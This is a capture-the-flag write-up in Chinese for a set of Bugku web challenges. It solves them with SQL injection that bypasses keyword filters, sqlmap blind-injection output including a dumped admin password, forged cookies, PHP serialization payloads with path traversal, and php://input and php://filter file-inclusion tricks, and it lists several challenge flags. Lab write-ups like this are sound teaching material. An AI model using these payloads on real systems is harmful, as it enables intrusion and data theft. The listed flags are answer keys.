CTF论剑场 Web14-21 WriteUp

文章首发于安恒网络空间安全讲武堂

web14 GitHack

hint:听说备份了不少东西呢

根据hint信息可以猜测为/.git/敏感文件泄露,该目录下包含了所有 git 正常工作所需要的信息。

使用GitHack工具(项目地址:https://github.com/lijiejie/GitHack)进行探测:

web15 vim

hint: vim编辑器

尝试提交id参数为swp,回显:不是这里不是这里不是这里!!!

注意到此时的链接为/1ndex.php?id=swp&submit=提交查询#,尝试修改1i并提交访问,得到flag{Is_wh1te_ooo000oo0}。

web16 江湖

学会如来神掌应该就能打败他了吧

进入江湖:

点击刷新属性会刷新各属性的值,动态变化,点击确定进入:

  • 属性中提示:每次练功和赚钱都会消耗5秒的时间,请您耐心等待。
  • 每次练功会增加一定的属性提升,耗时5s一次。
  • 商店中提示:必须将血量、内力、力道、定力修炼到满才可以学习如来神掌。
  • 点击赚钱每次会增加100银两的收入。

结合学会如来神掌应该就能打败他了吧,推测思路为学会如来神掌后讨伐魔头,因此我们需要通过提升各属性值为满且从商店购买如来神掌

方案:拥有足够的银两即可提升属性值为满且学习如来神掌。

F12查看页面源代码发现有以下js脚本文件:

另外Cookie如下:

下载script.js审计,这里使用VSCode进行查看(Windows下Shift + Alt + F进行代码格式化整理):

eval(function (p, a, c, k, e, r) {
    e = function (c) { return (c < 62 ? '' : e(parseInt(c / 62))) + ((c = c % 62) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) };
    if ('0'.replace(0, e) == 0) {
        while (c--) r[e(c)] = k[c];
        k = [function (e) { return r[e] || e }];
        e = function () {
            return '[57-9abd-hj-zAB]'
        };
        c = 1
    };
    while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p
}('7 s(t){5 m=t+"=";5 8=9.cookie.n(\';\');o(5 i=0;i<8.d;i++){5 c=8[i].trim();u(c.v(m)==0)p c.substring(m.d,c.d)}p""}7 w(a){5 x=new Base64();5 q=x.decode(a);5 r="";o(i=0;i<q.d;i++){5 b=q[i].charCodeAt();b=b^i;b=b-((i%10)+2);r+=String.fromCharCode(b)}p r}7 ertqwe(){5 y="user";5 a=s(y);a=decodeURIComponent(a);5 z=w(a);5 8=z.n(\';\');5 e="";o(i=0;i<8.d;i++){u(-1<8[i].v("A")){e=8[i+1].n(":")[2]\}\}e=e.B(\'"\',"").B(\'"\',"");9.write(\'<img id="f-1" g="h/1-1.k">\');j(7(){9.l("f-1").g="h/1-2.k"},1000);j(7(){9.l("f-1").g="h/1-3.k"},2000);j(7(){9.l("f-1").g="h/1-4.k"},3000);j(7(){9.l("f-1").g="h/6.png"},4000);j(7(){alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!A{"+md5(e)+"}")},5000)}', [], 38, '|||||var||function|ca|document|temp|num||length|key|attack|src|image||setTimeout|jpg|getElementById|name|split|for|return|result|result3|getCookie|cname|if|indexOf|decode_create|base|temp_name|mingwen|flag|replace'.split('|'), 0, {}))

发现代码进行了packer打包,直接在线解混后淆得到:

function getCookie(cname) {
    var name = cname + "=";
    var ca = document.cookie.split(';');
    for (var i = 0; i < ca.length; i++) {
        var c = ca[i].trim();
        if (c.indexOf(name) == 0) return c.substring(name.length, c.length)
    }
    return ""
}

function decode_create(temp) {
    var base = new Base64();
    var result = base.decode(temp);
    var result3 = "";
    for (i = 0; i < result.length; i++) {
        var num = result[i].charCodeAt();
        num = num ^ i;
        num = num - ((i % 10) + 2);
        result3 += String.fromCharCode(num)
    }
    return result3
}

function ertqwe() {
    var temp_name = "user";
    var temp = getCookie(temp_name);
    temp = decodeURIComponent(temp);
    var mingwen = decode_create(temp);
    var ca = mingwen.split(';');
    var key = "";
    for (i = 0; i < ca.length; i++) {
        if (-1 < ca[i].indexOf("flag")) {
            key = ca[i + 1].split(":")[2]
        }
    }
    key = key.replace('"', "").replace('"', "");
    document.write('<img id="attack-1" src="image/1-1.jpg">');
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/1-2.jpg"
    }, 1000);
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/1-3.jpg"
    }, 2000);
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/1-4.jpg"
    }, 3000);
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/6.png"
    }, 4000);
    setTimeout(function() {
        alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!flag{" + md5(key) + "}")
    }, 5000)
}

控制台执行如下命令:

尝试修改各属性值money为1000000并加密,PHP脚本如下(这里感谢淚笑师傅的指导~自写的python脚本存在一些问题结果不一致~):

<?php
function encode($payload) {
	$result = '';
    for($i = 0; $i < strlen($payload); $i++) {
    	$b = ord($payload[$i]);
        $b = $b + (($i % 10) + 2);
        $b = $b ^ $i;
        $result = $result.chr($b);
	}
	return $result;
}

$payload = 'O:5:"human":10:{s:8:"xueliang";i:12;s:5:"neili";i:856;s:5:"lidao";i:83;s:6:"dingli";i:92;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:1000000;s:4:"flag";s:1:"1";}';

echo base64_encode(encode($payload));

//UTw7PCxqe3FjcC42OThOjWtSUFYwbm99amlzbG0wI3MeFxphX2YZYgxYQ0VeXQRrQ3QICw51T3YFehZMV1pbS2gDMwAGe3sxdnIKYiA/Nj0+PXQTOxQXbB0nZmFieiM3EREbGg1AWQkoXikXKC9SSgIbHR0DAgdaRRVETj0HPD/ErO7v9un57/6iz/+wvrH30KzQuBfl+Pv96rLZ7d6k2dWcm5yM0dHQxy2OlcGSmZiIiIiIhovBiIL4kNTK0dea/7mC+4bu/er1SQ==
//encodeURIComponent->UTw7PCxqe3FjcC42OThOjWtSUFYwbm99amlzbG0wI3MeFxphX2YZYgxYQ0VeXQRrQ3QICw51T3YFehZMV1pbS2gDMwAGe3sxdnIKYiA%2FNj0%2BPXQTOxQXbB0nZmFieiM3EREbGg1AWQkoXikXKC9SSgIbHR0DAgdaRRVETj0HPD%2FErO7v9un57%2F6iz%2F%2BwvrH30KzQuBfl%2BPv96rLZ7d6k2dWcm5yM0dHQxy2OlcGSmZiIiIiIhovBiIL4kNTK0dea%2F7mC%2B4bu%2Fer1SQ%3D%3D
?>

将修改后的cookie字段发包:

提升属性和学习如来神掌后讨伐老魔获取flag:

另外在/wulin.php下发现了出题人留下的彩蛋,可以检测flag的正确性:

web17 流量分析

直接使用Wireshark打开bugku.pcapng进行TCP流追踪即可找到flag。

web18 Sql injection

试探过程如下:

?id=1'  回显空白 -> 可能为单引号闭合
?id=1'--+ 回显正常 -> 单引号闭合方式
?id=1' and 1=1--+ 回显空白 -> 可能过滤了and
?id=1' And 1=1--+ 回显空白 -> 可能过滤了大小写
?id=1' anandd 1=1--+ 回显正常 -> 嵌套剥离绕过 过滤了and、or
?id=1' oorrder by 3--+ ->列数为3

爆数据库:

?id=-1' uniunionon selselectect 1,group_concat(schema_name),3 from infoorrmation_schema.schemata--+

得到:information_schema,web18.

爆表:

?id=-1' uniunionon selselectect 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='web18'--+

得到: ctf,flag.

爆列:

?id=-1' uniunionon selselectect 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='flag'--+

得到:id,flag.

爆字段:

?id=-1' uniunionon selselectect 1,flag,3 from flag--+

获取flag{22b7a7c3d73d88050722b3eeb102ee45} .

web19 Poc And Exp's Love Note

dirsearch探测下发现存在/.git/泄露:

Githack操作一下,在flag.txt中获取Hint 1: flag is in /eXpl0ve5p0cVeRymuCh。

sqlmap跑一下,发现存在基于时间的布尔盲注:

---
Parameter: username (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: username=admin' AND SLEEP(5) AND 'JKEb'='JKEb&password=123
    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---

继续获取信息:

available databases [2]:
[*] information_schema
[*] web19
In Database: web19
[2 tables]
+--------+
| user   |
| hlnt_2 |
+--------+
Database: web19
Table: user
[1 entry]
+----+----------+----------------+
| id | username | password       |
+----+----------+----------------+
| 1  | admin    | p0CLOvesExpT00 |
+----+----------+----------------+
Database: web19
Table: hlnt_2
[1 entry]
+----+-----------------------------------------------+
| id | hInt                                          |
+----+-----------------------------------------------+
| 1  | a class for you "https://postimg.cc/6274vCP5" |
+----+-----------------------------------------------+

用获取到的username和password登录admin账户:

查看页面源代码发现有注释掉的内容:

结合游记内容推测可能为snow HTML隐写(可以在ASCII文本的末行隐藏数据,并且可以通过插入制表位和空格使嵌入的数据在浏览器中不可见),使用BurpSuite抓取该页面内容保存至1.html(尝试从Firefox保存分析存在问题,感谢冷暗雨师傅指导~).

C:\Users\light\Desktop>SNOW.EXE -C -p ILOveExp 1.html
flag in /PPPPOOO0CCCC.php

结合在hlnt_2表中获取的Hint2:a class for you "https://postimg.cc/6274vCP5"

Payload:

<?php
class ReadFile {
	public $file;
}

$payload = new ReadFile();
$payload->file = '../../PPPPOOO0CCCC.php';
echo serialize($payload);

//O:8:"ReadFile":1:{s:4:"file";s:22:"../../PPPPOOO0CCCC.php";}
//encodeURIComponent
//O%3A8%3A%22ReadFile%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A22%3A%22..%2F..%2FPPPPOOO0CCCC.php%22%3B%7D

web20 GET_key

你的动态密文是:fb49037b2bb5315bdad5228d7cf0c34e2 GET提交对应的密文可以得到flag(form_input_name=’key’) 输出格式:’flag{….}’

Python脚本:

import re
import requests

url = 'http://123.206.31.85:10020/'
r = requests.session()
text = r.get(url).text
key = re.findall(r'[0-9a-z]+', text)[0]
url2 = url + '?key=' + key
text2 = r.get(url2).text
print(text2)

多试几次,正确提交后有一定几率会获取flag{Md5tiMe8888882019}~

web21 LFI

打开网页显示:

you are not admin !

F12查看发现注释掉的PHP代码:

$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}

看到file_get_contents()函数推测可能存在文件包含(参看LFI(Local File Include)漏洞学习),利用姿势如下:

  • 利用php://input和POST发包admin绕过file_get_contents($user,’r’)===”admin”)。
  • 利用php://filter/read=convert.base64-encode/resource=class.php来读取class.php。
/index.php?user=php://input&file=php://filter/read=convert.base64-encode/resource=class.php

得到回显:

hello admin!
PD9waHANCmVycm9yX3JlcG9ydGluZyhFX0FMTCAmIH5FX05PVElDRSk7DQogDQpjbGFzcyBSZWFkey8vZjFhOS5waHANCiAgICBwdWJsaWMgJGZpbGU7DQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9TdHJpbmcoKXsNCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsNCiAgICAgICAgICAgIGVjaG8gZmlsZV9nZXRfY29udGVudHMoJHRoaXMtPmZpbGUpOyAgICANCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gIl9fdG9TdHJpbmcgd2FzIGNhbGxlZCEiOw0KICAgIH0NCn0NCj8+

解Base64得到class.php:

<?php
error_reporting(E_ALL & ~E_NOTICE);
 
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>

注意到__toString()函数执行时会读取并打印$this->file的内容,构造序列化脚本:

<?php
class Read{
	public $file;
}

$payload = new Read();
$payload->file = 'f1a9.php';
echo serialize($payload);
//O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

赋值给pass,当作为字符串是将调用__toString()读取f1a9.php的内容,Payload:

/index.php?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}